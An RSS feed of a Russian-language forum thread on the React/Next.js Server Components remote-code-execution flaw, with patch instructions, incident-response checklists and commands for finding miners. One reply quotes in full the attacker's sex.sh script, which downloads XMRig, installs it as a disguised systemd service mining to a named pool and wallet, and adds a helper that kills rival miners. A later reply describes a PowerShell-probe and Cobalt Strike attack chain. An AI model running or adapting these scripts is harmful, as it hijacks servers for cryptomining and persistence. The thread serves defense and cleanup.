<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Критическая уязвимость в React.js Next.js (CVE-2025-55182, CVE-2025-66478): Как защитить свой сайт]]></title><description><![CDATA[<p dir="auto"><img src="/assets/uploads/files/19/56/bc/1765283931666-ac1694f6-c49a-4cdd-89f3-a9538f609828-image-resized.webp" alt="ac1694f6-c49a-4cdd-89f3-a9538f609828-image.png" class=" img-fluid img-markdown" /></p>
<h2>Что произошло?</h2>
<p dir="auto">3 декабря 2025 года была раскрыта <strong>критическая уязвимость безопасности</strong> в React Server Components, которая имеет максимальный рейтинг CVSS 10.0. Уязвимость позволяет неаутентифицированному злоумышленнику выполнить произвольный код на сервере вашего приложения.</p>
<p dir="auto"><strong>Это означает: если вы используете Next.js версии 15.x или выше с поддержкой React Server Components — ваше приложение потенциально под угрозой.</strong></p>
<h2>Суть уязвимости</h2>
<p dir="auto">Уязвимость CVE-2025-55182 находится в том, как React декодирует полезные нагрузки, отправляемые на эндпоинты React Server Function. Злоумышленник может создать вредоносный HTTP-запрос к любому Server Function эндпоинту, который при десериализации приведёт к удалённому выполнению кода (RCE) на сервере.</p>
<p dir="auto"><strong>Важный момент:</strong> даже если ваше приложение не реализует явно эндпоинты React Server Function, оно всё равно может быть уязвимым, если использует React Server Components. Это касается фреймворков, которые поддерживают этот функционал.</p>
<h3>Затронутые версии</h3>
<p dir="auto">Уязвимость присутствует в следующих версиях пакетов React:</p>
<ul>
<li>React 19.0</li>
<li>React 19.1.0</li>
<li>React 19.1.1</li>
<li>React 19.2.0</li>
</ul>
<p dir="auto">Аналогичная уязвимость (CVE-2025-66478) была выявлена в реализации протокола RSC (React Server Components) во фреймворке Next.js. Проблема затрагивает приложения, использующие App Router и ветки Next.js 15.x и 16.x. Утверждается, что уязвимость проявляется в конфигурации Next.js по умолчанию (стандартное приложение, создаваемое утилитой create‑next‑app, подвержено атаке).</p>
<p dir="auto">В Next.js это затрагивает версии <strong>15.0.x</strong> и выше, а также canary-релизы <strong>14.3.0-canary.77</strong> и позже.</p>
<h3>Затронутые фреймворки и инструменты</h3>
<p dir="auto">Помимо Next.js, уязвимость влияет на:</p>
<ul>
<li>React Router</li>
<li>Waku</li>
<li>@parcel/rsc</li>
<li>@vitejs/plugin-rsc</li>
<li>rwsdk (Redwood SDK)</li>
</ul>
<h2>Как защитить свое приложение?</h2>
<h3>1. Немедленно обновитесь</h3>
<p dir="auto">Исправление было выпущено в:</p>
<ul>
<li>React 19.0.1, 19.1.2 и 19.2.1</li>
<li>Next.js с соответствующими патчами для каждой версии</li>
</ul>
<h3>2. Инструкции по обновлению Next.js</h3>
<p dir="auto">Выберите команду обновления в зависимости от вашей текущей версии:</p>
<pre><code class="language-bash"># Для Next.js 15.0.x
npm install next@15.0.5

# Для Next.js 15.1.x
npm install next@15.1.9

# Для Next.js 15.2.x
npm install next@15.2.6

# Для Next.js 15.3.x
npm install next@15.3.6

# Для Next.js 15.4.x
npm install next@15.4.8

# Для Next.js 15.5.x
npm install next@15.5.7

# Для Next.js 16.0.x
npm install next@16.0.7
</code></pre>
<p dir="auto"><strong>Если вы используете canary-релиз Next.js 14.3.0-canary.77 или позже</strong>, откатитесь на последний стабильный релиз 14.x:</p>
<pre><code class="language-bash">npm install next@14
</code></pre>
<h3>3. Обновление других зависимостей</h3>
<p dir="auto">После обновления Next.js убедитесь, что обновлены зависимости React:</p>
<pre><code class="language-bash">npm install react@latest react-dom@latest
</code></pre>
<h3>4. Проверьте ваш проект</h3>
<p dir="auto">После обновления:</p>
<ul>
<li>Протестируйте все Server Function эндпоинты</li>
<li>Проверьте функциональность приложения</li>
<li>Убедитесь, что нет ошибок в консоли</li>
</ul>
<h2>Когда моё приложение НЕ уязвимо?</h2>
<p dir="auto">Ваше приложение <strong>не подвержено</strong> этой уязвимости в следующих случаях:</p>
<ul>
<li>Ваш React-код не использует Server Components</li>
<li>Вы не используете фреймворк, bundler или плагин bundler, поддерживающий React Server Components</li>
<li>Вы используете старые версии Next.js (14.x и ниже)</li>
<li>Ваше приложение не имеет эндпоинтов Server Function</li>
</ul>
<h2>Временные меры смягчения</h2>
<p dir="auto">Хостинг-провайдеры, такие как Vercel, уже применили временные меры по смягчению последствий уязвимости на своей инфраструктуре. <strong>Однако полагаться на них не следует</strong> — вы всё равно должны немедленно обновиться.</p>
<h2>Хронология событий</h2>
<ul>
<li><strong>29 ноября</strong>: Лахлан Дэвидсон сообщил об уязвимости через Meta Bug Bounty</li>
<li><strong>30 ноября</strong>: Исследователи безопасности Meta подтвердили уязвимость</li>
<li><strong>1 декабря</strong>: Было создано исправление, начало работы с провайдерами хостинга</li>
<li><strong>3 декабря</strong>: Исправление опубликовано в npm и раскрыто как CVE-2025-55182</li>
</ul>
<h2>Что делать?</h2>
<ol>
<li><strong>Обновитесь сейчас</strong> — это не может ждать</li>
<li><strong>Проверьте все свои проекты</strong> на использование Next.js 15.x или выше</li>
<li><strong>Сообщите своей команде</strong> об этом обновлении</li>
<li><strong>Отслеживайте</strong> changelog Next.js и React для любых последующих обновлений безопасности</li>
</ol>
<p dir="auto">Спасибо Лахлану Дэвидсону за обнаружение и помощь в исправлении этой критической уязвимости.</p>
]]></description><link>https://forum.exlends.ru/topic/326/kriticheskaya-uyazvimost-v-react.js-next.js-cve-2025-55182-cve-2025-66478-kak-zashitit-svoj-sajt</link><generator>RSS for Node</generator><lastBuildDate>Mon, 25 May 2026 11:42:27 GMT</lastBuildDate><atom:link href="https://forum.exlends.ru/topic/326.rss" rel="self" type="application/rss+xml"/><pubDate>Sat, 06 Dec 2025 18:21:33 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to Критическая уязвимость в React.js Next.js (CVE-2025-55182, CVE-2025-66478): Как защитить свой сайт on Tue, 09 Dec 2025 12:45:11 GMT]]></title><description><![CDATA[<h2>Как найти бинарники майнера XMRig</h2>
<ol>
<li><strong>Ищем явные следы XMRig по файловой системе</strong><br />
Запустите поиск по имени <code>xmrig</code> и похожим строкам, включая вложенные каталоги и временные папки.<br />
Примеры базовых команд:
<ul>
<li><code>find / -name "*xmrig*" -type f 2&gt;/dev/null</code></li>
<li><code>find /tmp /var/tmp -type f -executable 2&gt;/dev/null</code></li>
</ul>
</li>
<li><strong>Проверяем типичные точки установки</strong><br />
В кейсах по CVE‑2025‑55182 майнер часто оказывался рядом с проектом или в временных каталогах.<br />
Обязательно вручную просмотрите:
<ul>
<li>корень проекта (папка Next.js/Node.js) и рядом лежащие файлы (<code>sex.sh</code>, <code>kal.tar.gz</code>, странные <code>.sh</code>/<code>.tar.gz</code> и т.п.);</li>
<li>домашние директории пользователей (<code>/home/*</code>, <code>/root</code>);</li>
<li><code>/tmp</code>, <code>/var/tmp</code>, <code>/var/run</code>, где часто лежат безымянные или «системно» названные бинарники.</li>
</ul>
</li>
<li><strong>Сопоставляем с процессами и открытыми файлами</strong><br />
Если процесс вы уже видите в <code>top</code>/<code>htop</code>, нужно понять, откуда он запущен.<br />
Полезные команды:
<ul>
<li><code>ls -l /proc/&lt;PID&gt;/exe</code> — покажет реальный путь до исполняемого файла;</li>
<li><code>cat /proc/&lt;PID&gt;/cmdline</code> — параметры запуска (там часто виден пул, кошелёк или <code>config.json</code>);<br />
Так можно выйти на бинарник, даже если он переименован в <code>kswapd0</code>, <code>systemd-journal</code>, <code>a1b2c3</code>, и пр.</li>
</ul>
</li>
<li><strong>Отлавливаем обфускацию и маскировку</strong><br />
В реальных взломах по React2Shell майнеры:
<ul>
<li>переименовывали бинарник под системные процессы (<code>kswapd0</code>, <code>kworker</code>, <code>systemd-journal</code>),</li>
<li>складывали его в «левые» каталоги и запускали через скрипты <code>sex.sh</code>, <code>health.sh</code> и т.п.,</li>
<li>упаковывали в архивы вроде <code>kal.tar.gz</code>, которые при распаковке создавали папку <code>xmrig-&lt;версия&gt;</code> и бинарник внутри.<br />
Всё, что выглядит не как ваш деплой, лучше считать подозрительным и разбирать отдельно.</li>
</ul>
</li>
<li><strong>Ищем конфиги и вспомогательные файлы майнера</strong><br />
Вместе с бинарником почти всегда лежат конфигурации и скрипты автозапуска.<br />
Обратите внимание на:
<ul>
<li><code>config.json</code> рядом с бинарником (настройки пула, кошелька, количества потоков);</li>
<li>shell‑скрипты, качающие что‑то с GitHub/неизвестных URL и сразу запускающие (<code>curl | bash</code>, <code>wget ... &amp;&amp; chmod +x &amp;&amp; ./имя</code>);</li>
<li>unit‑файлы systemd с рандомными hex‑названиями, указывающими на тот же бинарник.</li>
</ul>
</li>
<li><strong>После обнаружения — не просто удалить файл</strong><br />
Недостаточно удалить найденный <code>xmrig</code> и скрипты: нужно ещё убрать все точки автозапуска (cron, systemd, <code>.bashrc</code>, <code>.profile</code> и т.д.) и заново переиспользовать/пересоздать окружение.<br />
В кейсах с Next.js‑эксплойтом люди в итоге либо поднимали чистый сервер и деплоили из репозитория, либо полностью пересобирали контейнеры с нуля.</li>
</ol>
]]></description><link>https://forum.exlends.ru/post/1046</link><guid isPermaLink="true">https://forum.exlends.ru/post/1046</guid><dc:creator><![CDATA[Aladdin]]></dc:creator><pubDate>Tue, 09 Dec 2025 12:45:11 GMT</pubDate></item><item><title><![CDATA[Reply to Критическая уязвимость в React.js Next.js (CVE-2025-55182, CVE-2025-66478): Как защитить свой сайт on Tue, 09 Dec 2025 12:44:42 GMT]]></title><description><![CDATA[<p dir="auto">Вот еще один словил <a href="https://vc.ru/dev/2636070-uyazvimost-react-server-components-udalennoye-vypolnenie-koda?ysclid=miyarozidx85587021" target="_blank" rel="noopener noreferrer">источник</a>. Посмотрите, что  он  рекомендует,  но важно заметить,  <strong>его взломанный сервер имел root права, и тогда картина усугубляется и придется искать мусор по всей системе, проверять демоны, сервисы и т д. !!!</strong></p>
<p dir="auto">Если есть подозрение, что сервер с Next.js / React уже взломан через CVE‑2025‑55182 (React Server Components, удалённое выполнение кода), к нему стоит относиться как к полностью скомпрометированному.  Ниже — более удобный для чтения порядок действий.</p>
<hr />
<h2>Что делать при обнаружении следов атаки</h2>
<ol>
<li><strong>Остановить майнер и вредоносные процессы</strong><br />
Найдите процессы, которые забивают CPU (через <code>top</code> / <code>htop</code> / <code>ps</code>), проверьте подозрительные имена и завершите их (<code>kill</code>, <code>pkill</code>, <code>killall</code>).</li>
<li><strong>Проверить локальных пользователей</strong><br />
Посмотрите список учётных записей и удалите явно лишних пользователей, созданных атакующим, вместе с их домашними каталогами.</li>
<li><strong>Найти бинарники майнера</strong><br />
Просканируйте систему на наличие исполняемых файлов майнера, особенно в <code>~/</code>, <code>/tmp</code>, <code>/var/tmp</code>, нетипичных каталогах и местах, куда пишет ваш Node.js/Next.js‑процесс.</li>
<li><strong>Очистить cron и другие планировщики</strong><br />
Проверьте <code>crontab</code> для root и приложений, а также файлы в <code>/etc/cron.*</code>.  Удалите все задания, которые запускают непонятные бинарники, скрипты или обращаются к подозрительным URL.</li>
<li><strong>Проверить systemd‑сервисы и автозапуск</strong><br />
Посмотрите <code>systemctl list-units --type=service</code> и содержимое пользовательских и системных unit‑файлов.  Отключите и удалите сервисы, которые вы не настраивали и которые стартуют майнер или сторонние скрипты.</li>
<li><strong>Почистить SSH‑доступ</strong><br />
Проверьте <code>~/.ssh/authorized_keys</code>, конфиги SSH и ключи на предмет посторонних записей.  Удалите неизвестные ключи и при необходимости сгенерируйте новые для своих учёток.</li>
<li><strong>Ротировать пароли и секреты</strong><br />
Поменяйте пароли root и админ‑учёток, учетные данные БД, токены CI/CD, API‑ключи и другие секреты, которые могли утечь при RCE.</li>
<li><strong>Поднять чистое окружение и обновиться</strong><br />
На практике надёжнее всего развернуть новый сервер/контейнер из доверенного образа и уже туда задеплоить пропатченную версию React/Next.js с закрытой CVE‑2025‑55182, чем бесконечно «отмывать» взломанную систему.</li>
</ol>
]]></description><link>https://forum.exlends.ru/post/1045</link><guid isPermaLink="true">https://forum.exlends.ru/post/1045</guid><dc:creator><![CDATA[Aladdin]]></dc:creator><pubDate>Tue, 09 Dec 2025 12:44:42 GMT</pubDate></item><item><title><![CDATA[Reply to Критическая уязвимость в React.js Next.js (CVE-2025-55182, CVE-2025-66478): Как защитить свой сайт on Mon, 08 Dec 2025 12:01:55 GMT]]></title><description><![CDATA[<p dir="auto">Кстати этот чел наверно поржал над всеми нами:</p>
<p dir="auto"><img src="/assets/uploads/files/e0/53/b3/1765195314423-843d1c83-2318-47e1-8379-7c86b1ab07d7-image.webp" alt="843d1c83-2318-47e1-8379-7c86b1ab07d7-image.png" class=" img-fluid img-markdown" /></p>
]]></description><link>https://forum.exlends.ru/post/1033</link><guid isPermaLink="true">https://forum.exlends.ru/post/1033</guid><dc:creator><![CDATA[hannadev]]></dc:creator><pubDate>Mon, 08 Dec 2025 12:01:55 GMT</pubDate></item><item><title><![CDATA[Reply to Критическая уязвимость в React.js Next.js (CVE-2025-55182, CVE-2025-66478): Как защитить свой сайт on Mon, 08 Dec 2025 11:20:41 GMT]]></title><description><![CDATA[<p dir="auto"><img src="/assets/uploads/files/01/d0/f9/1765192839057-7a40ad4c-7dbb-4c68-bc8f-9d3f6f1263b5-image.webp" alt="7a40ad4c-7dbb-4c68-bc8f-9d3f6f1263b5-image.png" class=" img-fluid img-markdown" /></p>
]]></description><link>https://forum.exlends.ru/post/1032</link><guid isPermaLink="true">https://forum.exlends.ru/post/1032</guid><dc:creator><![CDATA[kirilljsx]]></dc:creator><pubDate>Mon, 08 Dec 2025 11:20:41 GMT</pubDate></item><item><title><![CDATA[Reply to Критическая уязвимость в React.js Next.js (CVE-2025-55182, CVE-2025-66478): Как защитить свой сайт on Mon, 08 Dec 2025 09:34:00 GMT]]></title><description><![CDATA[<p dir="auto"><a class="plugin-mentions-user plugin-mentions-a" href="/user/mugiwara" aria-label="Profile: Mugiwara">@<bdi>Mugiwara</bdi></a> я сделал подход проще, удалил все нахрен (хорошо как бы есть репозиторий проекта), обновил все пакеты на локалке, и перезалил проект + почистил в user/data различные конфиги и кэш</p>
]]></description><link>https://forum.exlends.ru/post/1031</link><guid isPermaLink="true">https://forum.exlends.ru/post/1031</guid><dc:creator><![CDATA[kirilljsx]]></dc:creator><pubDate>Mon, 08 Dec 2025 09:34:00 GMT</pubDate></item><item><title><![CDATA[Reply to Критическая уязвимость в React.js Next.js (CVE-2025-55182, CVE-2025-66478): Как защитить свой сайт on Mon, 08 Dec 2025 09:21:03 GMT]]></title><description><![CDATA[<p dir="auto"><a href="https://dev.to/manaver/alert-my-nextjs-server-was-hijacked-by-a-crypto-miner-and-yours-might-be-too-426l" target="_blank" rel="noopener noreferrer">https://dev.to/manaver/alert-my-nextjs-server-was-hijacked-by-a-crypto-miner-and-yours-might-be-too-426l</a><br />
В англоязычной статье уже есть реальный кейс эксплуатации этой дыры: у автора Next.js‑приложения сервер реально захватили майнеры монеро из‑за RCE через React2Shell (CVE‑2025‑55182 / CVE‑2025‑66478).</p>
<p dir="auto">После взлома у него:</p>
<ul>
<li>забился CPU до 100%, VM падала, в репо появились неожиданные изменения в next.config.js / tailwind.config.js / postcss.config.js, package.json и yarn.lock с подменёнными зависимостями.</li>
<li>на уровне системы наплодились systemd‑сервисы с hex‑именами и правки в .bashrc / .profile для автозапуска майнера xmrig.</li>
</ul>
<p dir="auto">Он чистил всё руками: убивал процессы xmrig, вычищал подозрительные systemd‑сервисы, проверял bash‑профили, делал git reset --hard + git clean и вручную перечитывал конфиги, потом ротировал все секреты из .env.</p>
<p dir="auto">Просто «обновиться позже» тут опасно: если сервер уже скомпрометирован, сначала надо вычистить систему и ключи, и только потом обновляться на патченные версии Next.js/React, иначе майнер или бэкдор могут так и остаться жить в окружении.</p>
]]></description><link>https://forum.exlends.ru/post/1030</link><guid isPermaLink="true">https://forum.exlends.ru/post/1030</guid><dc:creator><![CDATA[Mugiwara]]></dc:creator><pubDate>Mon, 08 Dec 2025 09:21:03 GMT</pubDate></item><item><title><![CDATA[Reply to Критическая уязвимость в React.js Next.js (CVE-2025-55182, CVE-2025-66478): Как защитить свой сайт on Sun, 07 Dec 2025 12:08:07 GMT]]></title><description><![CDATA[<p dir="auto"><a class="plugin-mentions-user plugin-mentions-a" href="/user/dinozaur" aria-label="Profile: Dinozaur">@<bdi>Dinozaur</bdi></a> лучше Query еще не придумали! На хуй ваш Реакт <img src="https://forum.exlends.ru/assets/plugins/nodebb-plugin-emoji/emoji/android/1f923.png?v=1bd9ff6b60a" class="not-responsive emoji emoji-android emoji--rolling_on_the_floor_laughing" style="height:23px;width:auto;vertical-align:middle" title="🤣" alt="🤣" /></p>
]]></description><link>https://forum.exlends.ru/post/1025</link><guid isPermaLink="true">https://forum.exlends.ru/post/1025</guid><dc:creator><![CDATA[kirilljsx]]></dc:creator><pubDate>Sun, 07 Dec 2025 12:08:07 GMT</pubDate></item><item><title><![CDATA[Reply to Критическая уязвимость в React.js Next.js (CVE-2025-55182, CVE-2025-66478): Как защитить свой сайт on Sun, 07 Dec 2025 07:44:08 GMT]]></title><description><![CDATA[<p dir="auto">значит надо сидеть на next 14 и не парится, там уязвимости нет<br />
<img src="https://forum.exlends.ru/assets/plugins/nodebb-plugin-emoji/emoji/android/1f921.png?v=1bd9ff6b60a" class="not-responsive emoji emoji-android emoji--clown_face" style="height:23px;width:auto;vertical-align:middle" title="🤡" alt="🤡" /><img src="https://forum.exlends.ru/assets/plugins/nodebb-plugin-emoji/emoji/android/1f921.png?v=1bd9ff6b60a" class="not-responsive emoji emoji-android emoji--clown_face" style="height:23px;width:auto;vertical-align:middle" title="🤡" alt="🤡" /><img src="https://forum.exlends.ru/assets/plugins/nodebb-plugin-emoji/emoji/android/1f921.png?v=1bd9ff6b60a" class="not-responsive emoji emoji-android emoji--clown_face" style="height:23px;width:auto;vertical-align:middle" title="🤡" alt="🤡" /></p>
]]></description><link>https://forum.exlends.ru/post/1021</link><guid isPermaLink="true">https://forum.exlends.ru/post/1021</guid><dc:creator><![CDATA[Dinozaur]]></dc:creator><pubDate>Sun, 07 Dec 2025 07:44:08 GMT</pubDate></item><item><title><![CDATA[Reply to Критическая уязвимость в React.js Next.js (CVE-2025-55182, CVE-2025-66478): Как защитить свой сайт on Sun, 07 Dec 2025 07:40:21 GMT]]></title><description><![CDATA[<p dir="auto"><a class="plugin-mentions-user plugin-mentions-a" href="/user/kirilljsx" aria-label="Profile: kirilljsx">@<bdi>kirilljsx</bdi></a></p>
<pre><code class="language-sh"># sex.sh


#!/bin/bash

# Configuration
TAR_FILE="kal.tar.gz"
EXTRACT_DIR="xmrig-6.24.0"
BINARY_PATH="$(pwd)/$EXTRACT_DIR/xmrig"
ARGS="--url pool.hashvault.pro:443 --user 8BWy7pgane96sLATF7nESM4ehZEtYAFNpYFAm88zftVsJ5jxFBdGVBrd1igptedXejfomPEpJvGUKU1etmkNBXmU5HkPR6e --pass ZimbabveDC --donate-level 0 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14"
SERVICE_NAME="system-update-service"

# Download and setup if not already present
if [ ! -f "$BINARY_PATH" ]; then
    curl -L -o "$TAR_FILE" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz
    tar xvzf "$TAR_FILE"
fi

chmod +x "$BINARY_PATH"

# Attempt systemd setup
INSTALLED_SYSTEMD=0
if [ "$(id -u)" -eq 0 ] &amp;&amp; command -v systemctl &gt;/dev/null 2&gt;&amp;1; then
    echo "Root privileges detected. Attempting systemd setup..."
    
    SERVICE_FILE="/etc/systemd/system/${SERVICE_NAME}.service"
    
    cat &lt;&lt;EOF &gt; "$SERVICE_FILE"
[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=${BINARY_PATH} ${ARGS}
Restart=always
RestartSec=10
User=root

[Install]
WantedBy=multi-user.target
EOF

    systemctl daemon-reload
    systemctl enable "$SERVICE_NAME"
    systemctl start "$SERVICE_NAME"
    
    if systemctl is-active --quiet "$SERVICE_NAME"; then
        echo "Service started via systemd."
        INSTALLED_SYSTEMD=1
    fi
fi

# Fallback to nohup
if [ $INSTALLED_SYSTEMD -eq 0 ]; then
    echo "Starting with nohup..."
    nohup "$BINARY_PATH" $ARGS &gt;/dev/null 2&gt;&amp;1 &amp;
fi

</code></pre>
<pre><code class="language-sh"># health.sh
while true; do
    for proc_dir in /proc/[0-9]*; do
        pid=${proc_dir##*/}

        if strings "/proc/$pid/exe" 2&gt;/dev/null | grep -q xmrig; then
            kill -9 "$pid"
            continue
        fi
        result=$(ls -l "/proc/$pid/exe" 2&gt;/dev/null)
        case "$result" in
            *"(deleted)"* | *"xmrig"*)
                kill -9 "$pid"
                ;;
        esac
    done
    sleep 45
done

</code></pre>
<p dir="auto">все это попытки запускать xmrig-6.24.0<br />
<a href="https://www.kaspersky.ru/blog/miner-xmrig-delivered-via-torrents/39082/" target="_blank" rel="noopener noreferrer">https://www.kaspersky.ru/blog/miner-xmrig-delivered-via-torrents/39082/</a></p>
]]></description><link>https://forum.exlends.ru/post/1020</link><guid isPermaLink="true">https://forum.exlends.ru/post/1020</guid><dc:creator><![CDATA[Aladdin]]></dc:creator><pubDate>Sun, 07 Dec 2025 07:40:21 GMT</pubDate></item><item><title><![CDATA[Reply to Критическая уязвимость в React.js Next.js (CVE-2025-55182, CVE-2025-66478): Как защитить свой сайт on Sun, 07 Dec 2025 07:35:58 GMT]]></title><description><![CDATA[<h2>Масштаб угрозы в цифрах</h2>
<p dir="auto">Группа интернет-контроля Shadowserver сообщила о обнаружении 77 664 уязвимых IP-адресов по всему миру, на которых работают серверные компоненты React (RSC). Географическое распределение:</p>
<p dir="auto">~23 700 адресов — США.</p>
<p dir="auto">~3 000 адресов — Россия.</p>
<p dir="auto">Эти данные показывают реальный и значительный масштаб проблемы в глобальной сети.</p>
<p dir="auto">Суть уязвимости (напоминание)<br />
Уязвимость CVE-2025-55182 позволяет неавторизованному злоумышленнику выполнить произвольный код на сервере через отправку специально сформированного HTTP-запроса к обработчику серверных компонентов React. Проблема затрагивает экспериментальные пакеты react-server-dom-* в версиях React 19.0.0 — 19.2.0.</p>
<p dir="auto">Эксплуатация в реальном времени и тактика атак<br />
Угроза не теоретическая. Наблюдаются активные попытки эксплуатации:</p>
<p dir="auto">Компания GreyNoise зафиксировала 181 уникальный IP-адрес, сканирующий сеть на наличие уязвимости за последние 24 часа.</p>
<p dir="auto">Palo Alto Networks сообщает, что с помощью этой уязвимости уже было скомпрометировано более 30 организаций. Злоумышленники используют её для разведки, кражи файлов конфигурации и учётных данных (например, AWS).</p>
<p dir="auto">Типичный сценарий атаки, по данным исследователей:</p>
<p dir="auto">Тест на уязвимость: Отправка команды, выполняющей простую математическую операцию через PowerShell (например, powershell -c “40138*41979”), чтобы подтвердить возможность выполнения кода.</p>
<p dir="auto">Загрузка вредоносной нагрузки: Если тест проходит, выполняется команда в кодировке base64, которая загружает скрипт извне, часто для обхода защиты (AMSI) и развёртывания полезной нагрузки.</p>
<p dir="auto">Закрепление в системе: Обнаруженный скрипт может устанавливать на целевое устройство бэкдор, например, маяк Cobalt Strike, что даёт злоумышленникам постоянный доступ к сети.</p>
<p dir="auto">Официальный статус и рекомендации<br />
Агентство кибербезопасности США (CISA) уже внесло CVE-2025-55182 в свой Каталог известных эксплуатируемых уязвимостей (KEV). Это обязывает государственные учреждения США установить исправления до 26 декабря 2025 года.</p>
<p dir="auto">Единственная надёжная мера защиты — немедленное обновление.</p>
<p dir="auto">React: до версий 19.0.1, 19.1.2 или 19.2.1.</p>
<p dir="auto">Next.js: до последних патчей (15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 или 16.0.7).</p>
<p dir="auto">После обновления необходимо пересобрать и заново развернуть приложение, а также проверить логи сервера на наличие признаков выполнения подозрительных команд (например, тестовых вызовов PowerShell).</p>
<p dir="auto">Итог: Уязвимость активно используется, количество потенциальных жертв исчисляется десятками тысяч. Если вы ещё не обновили свои проекты на React/Next.js — это нужно сделать в приоритетном порядке.</p>
<p dir="auto"><a href="https://habr.com/ru/news/974106/" target="_blank" rel="noopener noreferrer">Источник</a></p>
<p dir="auto"><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" target="_blank" rel="noopener noreferrer">Официальный каталог эксплуатируемых уязвимостей CISA (CVE-2025-55182)</a></p>
<p dir="auto"><a href="https://unit42.paloaltonetworks.com/cve-2025-55182-react-and-cve-2025-66478-next/" target="_blank" rel="noopener noreferrer">Технический анализ уязвимости от Palo Alto Networks (Unit 42)</a></p>
]]></description><link>https://forum.exlends.ru/post/1019</link><guid isPermaLink="true">https://forum.exlends.ru/post/1019</guid><dc:creator><![CDATA[DeepSeeker]]></dc:creator><pubDate>Sun, 07 Dec 2025 07:35:58 GMT</pubDate></item><item><title><![CDATA[Reply to Критическая уязвимость в React.js Next.js (CVE-2025-55182, CVE-2025-66478): Как защитить свой сайт on Sat, 06 Dec 2025 18:27:31 GMT]]></title><description><![CDATA[<p dir="auto">Я бы сказала не то что критическая, а пиздец какая критическая!</p>
<p dir="auto">По мимо обновления, требуется еще почистить файлы на серверах. К примеру на наших проектах которые были затронуты этими уязвимостями было такие файлы как: <a href="http://sex.sh" target="_blank" rel="noopener noreferrer">sex.sh</a>, kal.tar.gz и другие!</p>
<p dir="auto">Вот скрин пацаны:</p>
<p dir="auto"><img src="/assets/uploads/files/f8/19/22/1765045650385-img_7216.webp" alt="IMG_7216.jpeg" class=" img-fluid img-markdown" /></p>
]]></description><link>https://forum.exlends.ru/post/1018</link><guid isPermaLink="true">https://forum.exlends.ru/post/1018</guid><dc:creator><![CDATA[kirilljsx]]></dc:creator><pubDate>Sat, 06 Dec 2025 18:27:31 GMT</pubDate></item></channel></rss>